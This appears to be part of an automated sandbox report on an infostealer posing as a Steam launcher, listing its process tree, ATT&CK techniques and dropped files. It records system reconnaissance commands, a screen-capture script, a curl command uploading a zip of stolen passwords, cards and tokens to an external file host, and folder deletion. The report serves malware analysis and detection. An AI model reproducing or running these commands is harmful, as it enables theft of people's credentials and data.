PID:1904

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
2⤵
PID:4752

C:\Windows\System32\Wbem\WMIC.exe
wmic bios get smbiosbiosversion
3⤵
PID:3068

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "getmac /NH"
2⤵
PID:1852

C:\Windows\system32\getmac.exe
getmac /NH
3⤵
PID:5088

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
2⤵
PID:2156

C:\Windows\System32\Wbem\WMIC.exe
wmic MemoryChip get /format:list
3⤵
PID:1980

C:\Windows\system32\find.exe
find /i "Speed"
3⤵
PID:3496

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
2⤵
PID:4716

C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
3⤵
- Detects videocard installed
PID:5108

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
2⤵
PID:4200

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:1956

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
2⤵
PID:116

C:\Windows\system32\curl.exe
curl http://api.ipify.org/ --ssl-no-revoke
3⤵
PID:2608

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
2⤵
PID:2248

C:\Windows\System32\Wbem\WMIC.exe
wmic bios get smbiosbiosversion
3⤵
PID:2736

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
2⤵
PID:3388

C:\Windows\System32\Wbem\WMIC.exe
wmic MemoryChip get /format:list
3⤵
PID:228

C:\Windows\system32\find.exe
find /i "Speed"
3⤵
PID:1568

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
2⤵
PID:2244

C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
3⤵
- Detects videocard installed
PID:4908

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
2⤵
PID:3248

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:5096

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
2⤵
PID:4344

C:\Windows\system32\curl.exe
curl http://api.ipify.org/ --ssl-no-revoke
3⤵
PID:3940

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
2⤵
PID:4548

C:\Windows\System32\Wbem\WMIC.exe
wmic bios get smbiosbiosversion
3⤵
PID:1616

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
2⤵
PID:4168

C:\Windows\System32\Wbem\WMIC.exe
wmic MemoryChip get /format:list
3⤵
PID:4300

C:\Windows\system32\find.exe
find /i "Speed"
3⤵
PID:452

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
2⤵
PID:440

C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
3⤵
- Detects videocard installed
PID:2772

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
2⤵
PID:3180

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:4816

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
2⤵
PID:3368

C:\Windows\system32\curl.exe
curl http://api.ipify.org/ --ssl-no-revoke
3⤵
PID:2608

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
2⤵
PID:3708

C:\Windows\System32\Wbem\WMIC.exe
wmic bios get smbiosbiosversion
3⤵
PID:428

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
2⤵
PID:4268

C:\Windows\System32\Wbem\WMIC.exe
wmic MemoryChip get /format:list
3⤵
PID:1508

C:\Windows\system32\find.exe
find /i "Speed"
3⤵
PID:3388

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
2⤵
PID:2244

C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
3⤵
- Detects videocard installed
PID:4744

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
2⤵
PID:3068

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:4036

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\CaptureScreens.ps1""
2⤵
PID:1200

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\CaptureScreens.ps1"
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:440

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "curl --location --request POST "https://api.filedoge.com/upload" -H "Content-Type: multipart/form-data;" --form "file=@C:/ProgramData/Steam/Launcher/EN-Nqpttmrm.zip";"
2⤵
PID:1464

C:\Windows\system32\curl.exe
curl --location --request POST "https://api.filedoge.com/upload" -H "Content-Type: multipart/form-data;" --form "file=@C:/ProgramData/Steam/Launcher/EN-Nqpttmrm.zip";
3⤵
PID:2572

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
2⤵
PID:1776

C:\Windows\system32\curl.exe
curl http://api.ipify.org/ --ssl-no-revoke
3⤵
PID:2072

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
2⤵
PID:3060

C:\Windows\System32\Wbem\WMIC.exe
wmic bios get smbiosbiosversion
3⤵
PID:1088

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
2⤵
PID:2736

C:\Windows\System32\Wbem\WMIC.exe
wmic MemoryChip get /format:list
3⤵
PID:4396

C:\Windows\system32\find.exe
find /i "Speed"
3⤵
PID:1936

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
2⤵
PID:4724

C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
3⤵
- Detects videocard installed
PID:4696

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
2⤵
PID:1816

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:1136

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
2⤵
PID:4344

C:\Windows\system32\curl.exe
curl http://api.ipify.org/ --ssl-no-revoke
3⤵
PID:1372

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
2⤵
PID:2124

C:\Windows\System32\Wbem\WMIC.exe
wmic bios get smbiosbiosversion
3⤵
PID:1120

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
2⤵
PID:4568

C:\Windows\System32\Wbem\WMIC.exe
wmic MemoryChip get /format:list
3⤵
PID:4920

C:\Windows\system32\find.exe
find /i "Speed"
3⤵
PID:5056

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
2⤵
PID:1952

C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
3⤵
- Detects videocard installed
PID:4036

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
2⤵
PID:2584

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:4200

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
2⤵
PID:3044

C:\Windows\system32\curl.exe
curl http://api.ipify.org/ --ssl-no-revoke
3⤵
PID:3680

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
2⤵
PID:2896

C:\Windows\System32\Wbem\WMIC.exe
wmic bios get smbiosbiosversion
3⤵
PID:428

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
2⤵
PID:4692

C:\Windows\System32\Wbem\WMIC.exe
wmic MemoryChip get /format:list
3⤵
PID:3524

C:\Windows\system32\find.exe
find /i "Speed"
3⤵
PID:1400

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
2⤵
PID:3116

C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
3⤵
- Detects videocard installed
PID:3912

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
2⤵
PID:2292

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:3304

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
2⤵
PID:2416

C:\Windows\system32\curl.exe
curl http://api.ipify.org/ --ssl-no-revoke
3⤵
PID:5088

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
2⤵
PID:4988

C:\Windows\System32\Wbem\WMIC.exe
wmic bios get smbiosbiosversion
3⤵
PID:3760

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
2⤵
PID:700

C:\Windows\System32\Wbem\WMIC.exe
wmic MemoryChip get /format:list
3⤵
PID:4916

C:\Windows\system32\find.exe
find /i "Speed"
3⤵
PID:3140

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
2⤵
PID:2140

C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
3⤵
- Detects videocard installed
PID:4160

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
2⤵
PID:4116

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:228

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
2⤵
PID:940

C:\Windows\system32\curl.exe
curl http://api.ipify.org/ --ssl-no-revoke
3⤵
PID:4708

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
2⤵
PID:4088

C:\Windows\System32\Wbem\WMIC.exe
wmic bios get smbiosbiosversion
3⤵
PID:2028

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "rmdir /s /q "C:/ProgramData/Steam/Launcher""
2⤵
PID:4744

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
2⤵
PID:1020

C:\Windows\System32\Wbem\WMIC.exe
wmic MemoryChip get /format:list
3⤵
PID:1088

C:\Windows\system32\find.exe
find /i "Speed"
3⤵
PID:3904

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
2⤵
PID:1852

C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
3⤵
- Detects videocard installed
PID:1120

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
2⤵
PID:1448

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:732

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
2⤵
PID:4152

C:\Windows\system32\curl.exe
curl http://api.ipify.org/ --ssl-no-revoke
3⤵
PID:4288

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
2⤵
PID:3748

C:\Windows\System32\Wbem\WMIC.exe
wmic bios get smbiosbiosversion
3⤵
PID:1940

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
2⤵
PID:4780

C:\Windows\System32\Wbem\WMIC.exe
wmic MemoryChip get /format:list
3⤵
PID:1200

C:\Windows\system32\find.exe
find /i "Speed"
3⤵
PID:3060

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
2⤵
PID:1568

C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
3⤵
- Detects videocard installed
PID:440

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
2⤵
PID:2200

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:1220

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
2⤵
PID:5096

C:\Windows\system32\curl.exe
curl http://api.ipify.org/ --ssl-no-revoke
3⤵
PID:4328

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
2⤵
PID:3016

C:\Windows\System32\Wbem\WMIC.exe
wmic bios get smbiosbiosversion
3⤵
PID:4592

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
2⤵
PID:4104

C:\Windows\System32\Wbem\WMIC.exe
wmic MemoryChip get /format:list
3⤵
PID:2028

C:\Windows\system32\find.exe
find /i "Speed"
3⤵
PID:3304

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
2⤵
PID:556

C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
3⤵
- Detects videocard installed
PID:2292

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
2⤵
PID:3756

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:2152

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
2⤵
PID:4740

C:\Windows\system32\curl.exe
curl http://api.ipify.org/ --ssl-no-revoke
3⤵
PID:2916

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
2⤵
PID:2612

C:\Windows\System32\Wbem\WMIC.exe
wmic bios get smbiosbiosversion
3⤵
PID:2228

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
2⤵
PID:1448

C:\Windows\System32\Wbem\WMIC.exe
wmic MemoryChip get /format:list
3⤵
PID:764

C:\Windows\system32\find.exe
find /i "Speed"
3⤵
PID:3940

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:116

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
PID:4920

C:\Windows\System32\NOTEPAD.EXE
"C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\Desktop\UnlockResume.bat
1⤵
- Opens file in notepad (likely ransom note)
PID:2200

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Steam\Launcher\EN-NQP~1\debug.log

Filesize
1KB

MD5
7d7dfc059981a28b0d75f1bb351ab7eb

SHA1
0a5a94e7ced049fd0efada8d1b7e4f90cbcc87a6

SHA256
0d43a013ee8f46516269c66fd70bd38ce227c5a77a138760fb22e72a30cdd2fb

SHA512
3b66748465258d30c574c8c38b8561629f3a9c2f49c7b5d78a0d52fb6d6061bf1d1bbce69f6e2792fccfc2d5bd12a2f7a4cdab1eb7a3b914f8302def08bd355b

Download Submit
C:\ProgramData\Steam\Launcher\EN-Nqpttmrm.zip

Filesize
2KB

MD5
ff3a5bdbfb894c407f5020bade6f8398

SHA1
746a6eefc5ac54f08a18e94899bfb27f9471ccce

SHA256
eb9dddb59ca63d8424f9919d1d6a817e72ca88b1ad8ea754f0713a86eb28c01a

SHA512
72b597133b805a07160f3b433228322ed3e61bd2f83db6afa6f98f16294b45e386ad65e84821b69e137e9d79d77ce305e06d93b6ed1f6e515bf4b4189376557c

Download Submit
C:\ProgramData\Steam\Launcher\EN-Nqpttmrm\Autofills\Autofills.txt

Filesize
94B

MD5
2f308e49fe62fbc51aa7a9b987a630fe

SHA1
1b9277da78babd9c5e248b66ba6ab16c77b97d0b

SHA256
d46a44dd86cea9187e6049fd56bb3b450c913756256b76b5253be9c3b043c521

SHA512
c3065baa302032012081480005f6871be27f26da758dc3b6e829ea8a3458e5c0a4740e408678f3ecf4600279d3fcad796f62f35b8591e46200ce896899573024

Download Submit
C:\ProgramData\Steam\Launcher\EN-Nqpttmrm\Cards\Cards.txt

Filesize
70B

MD5
8a0ed121ee275936bf62b33f840db290

SHA1
898770c85b05670ab1450a96ea6fbd46e6310ef6

SHA256
983f823e85d9e4e6849a1ed58e5e3464f3a4adbe9d0daeeadd1416cf35178709

SHA512
7d429ce5c04a2e049cdf3f8d8165a989ab7e3e0ac25a7809c12c4168076492b797d2eebaf271ae02c51cb69786c2574ec3125166444e4fa6fc73430f75f8f154

Download Submit
C:\ProgramData\Steam\Launcher\EN-Nqpttmrm\Discord\discord.txt

Filesize
15B

MD5
675951f6d9d75fd2c9c06b5ff547c6fd

SHA1
9b474ab39d1e2aad52ea5272dbac7d4f9fe44c09

SHA256
60fe7843b40ed5b7c68118bbba6bfe5f786a76397cdedb80612fd7cefce7f244

SHA512
44dfb6c937283870c6eedf724649004a82631cd8eeb3f9c83e5bca619d1c9ffb8aa5f51c91d57f76789e2747712ce9c6ad207773928e5e00e712f640f8c25aea

Download Submit
C:\ProgramData\Steam\Launcher\EN-Nqpttmrm\Passwords\Passwords.txt

Filesize
78B

MD5
c5e74f3120dbbd446a527e785dfe6d66

SHA1
11997c2a53d19fd20916e49411c7a61bfb590e9c

SHA256
e0fd13d912d320faaa64e177b4e75f54ec140692ebc5904d10e1cbe3e811ee05

SHA512
a2bab776d22abf857c7df84b3c90851829eda615fbd450c9c72ab89f97591224380990a86c8e7e40ac811aa1225592743eebed63125d519d138fa28b859f2a3f

Download Submit
C:\ProgramData\Steam\Launcher\EN-Nqpttmrm\Screenshots\Screenshot.png

Filesize
416KB

MD5
280796b1d8b0376565284f29c9d38527

SHA1
f48cab52e861a15760c7ada0db33289807b24466

SHA256
e375aee7e93acccb81ee2fb47b4264efd2e1c6ccd305fc85da81af183de7a1a3

SHA512
d45e02773c638e9f6132f6f3c0bfca1e6b32e8bf681ae1ed04835853ccf50634c49d5ca2446dc373fc70fa295b3a06b0d320a8bfefbab8d78692db1903bd929a

Download Submit
C:\ProgramData\Steam\Launcher\EN-Nqpttmrm\Serial-Check.txt

Filesize
506B

MD5
dd3a4fc0ee61dcf7cf9adc3290095f8c

SHA1
bf7e14cc365c37954bda6ec8d9536175d5f3e942

SHA256
399aff1681b1fb7621d3f7db8f815b7cc5a2e91b880603002d6454009b09cf9e

SHA512
f83ccf265280102b1ee1e9a18df6ca05223523fadadf20a329d1620a9742e25814cb5d81d8aceae743dc48b3302d4a542548053839204e6d843cf0fb44589f05

Download Submit
C:\ProgramData\Steam\Launcher\EN-Nqpttmrm\debug.log

Filesize
1KB

MD5
35600d3c36e2bdf6659a711ed094b9e8

SHA1
423184c64a499944793b731fc59dcca362390375

SHA256
55002ba252ff656ab457f649b11aee92330e84c7c237cc88acc6465271f4696b

SHA512
9c868efdb7d4eebff2040fe32c34cb1ecfbb5220eea24d943c970c2428714d2aec812f3ee0943baf02e5d921b4a267fdfc350ad3e569dd051e04499c1be7bc30

Download Submit
C:\ProgramData\Steam\Launcher\EN-Nqpttmrm\stolen_files.zip

Filesize
22B

MD5
76cdb2bad9582d23c1f6f4d868218d6c

SHA1
b04f3ee8f5e43fa3b162981b50bb72fe1acabb33

SHA256
8739c76e681f900923b900c9df0ef75cf421d39cabb54650c4b9ad19b6a76d85

SHA512
5e2f959f36b66df0580a94f384c5fc1ceeec4b2a3925f062d7b68f21758b86581ac2adcfdde73a171a28496e758ef1b23ca4951c05455cdae9357cc3b5a5825f

Download Submit
C:\ProgramData\edge\Updater\CheckEpicGamesLauncher.bat

Filesize
1KB

MD5
96a3a652aa2974e0c0d11ef49ed228b9

SHA1
5f23a82668e1d644e896ed63087aed9128f80e79

SHA256
97caa265e5011b1ecac3ffbbb11f4151857cedeadff3d6047f7cea147612ca51

SHA512
028259c7198b2c098f71cad0c9aa3d4ce23eadd63c7478a08e3ecfedf60399df3be2673cd9097c5bcdae2a251fe538adc60d645d3d036ec87b87686552c615f0

Download Submit
C:\ProgramData\edge\Updater\Get-Clipboard.ps1

Filesize
3KB

MD5
a8834c224450d76421d8e4a34b08691f

SHA1
73ed4011bc60ba616b7b81ff9c9cad82fb517c68

SHA256
817c184e6a3e7d1ff60b33ec777e23e8e0697e84efde8e422833f05584e00ea5

SHA512
672b3eca54dff4316db904d16c2333247e816e0cd8ef2d866111ddb49ab491568cc12d7263891707403dd14962326404c13855d5de1ae148114a51cb7d5e5596

Download Submit
C:\ProgramData\edge\Updater\RunBatHidden.vbs

Filesize
146B

MD5
14a9867ec0265ebf974e440fcd67d837

SHA1
ae0e43c2daf4c913f5db17f4d9197f34ab52e254

SHA256
cca09191a1a96d288a4873f79a0916d9984bd6be8dcbd0c25d60436d46a15ca1

SHA512
36c69c26fd84b9637b370a5fe214a90778c9ade3b11664e961fe14226e0300f29c2f43d3a1d1c655d9f2951918769259928bbbc5a9d83596a1afc42420fc1a54

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3f01549ee3e4c18244797530b588dad9

SHA1
3e87863fc06995fe4b741357c68931221d6cc0b9

SHA256
36b51e575810b6af6fc5e778ce0f228bc7797cd3224839b00829ca166fa13f9a

SHA512
73843215228865a4186ac3709bf2896f0f68da0ba3601cc20226203dd429a2ad9817b904a45f6b0456b8be68deebf3b011742a923ce4a77c0c6f3a155522ab50

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
68d80cc2ac40ea9e5c7297fba6623c45

SHA1
05908daef7414f753fa6006082c42485002a7da8

SHA256
3b059d656dae93233a96c9079352c1d77c6abfec689cc6236b93b427c9918e96

SHA512
2c51e963eba030ee4f2ef5df1577a8ce38cacd6ffc3d0c56258db173352b46cd6048505061c65bd5757d14e2e27d9d396cbce95d58406660af62365bd4e7afb6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
ad43c0aeb253528e54bf9dd5345a6c76

SHA1
151d46f225cfa1f0b51ec704fdccbe44d46a4e15

SHA256
80952c87c04679f730c8b47f1e3936fc7af9070f635b8359f4c616581ed9e309

SHA512
4a779d310b016bd0a8b28e920bd6319f47e574c6f8142389c6c9af0d1f87dfd67e725030ab093397c4e1a368c9391fd4212ca7f2fcdcc23b19907a66ff2742f5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
645345565f37a6e4871313519158afb1

SHA1
d68a0507e0098647971ca0f532a73ad4b2a3858c

SHA256
00d9dedfe27b32e0d70d2034244e0257d7b0ebae6ca1ab129d44eea8b3273413

SHA512
06a95c15837735c2f83edad12a62be5a531af410c2ae379de0c22d00c1f9e351afaea6dd1ca3924d536fb86564721b1a77291e2a128ff7e3235c4a2b994abc18

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
e60eb305a7b2d9907488068b7065abd3

SHA1
1643dd7f915ac50c75bc01c53d68c5dafb9ce28d

SHA256
ad07460e061642c0dd4e7dfa7b821aacce873e290389e72f708e9f3504f9d135

SHA512
95c45afec6fa4e0b2a21edd10a6b2dc30568810c67bc9bc34d98ab111c48261f377a370583adb27e08616b0108026c119493b1b093b52ce931117e646b46cb7b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
3d75098c0d683ab68bcad88feffc8407

SHA1
8ed6555a018df6970328138891555c55acc02f51

SHA256
dee25e8f5a0d340384eb982c3bfdf950d3ac5d1d56de89678a2acf456f7ac513

SHA512
448f050c76d7dbe77eda77b7ff9ce4bafc93215c648ec83c904af98fa5005e82fe10651a352d4cf074674ae6de3b2426d888b75cbf833768d3c379e5ad725391

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
446dd1cf97eaba21cf14d03aebc79f27

SHA1
36e4cc7367e0c7b40f4a8ace272941ea46373799

SHA256
a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf

SHA512
a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
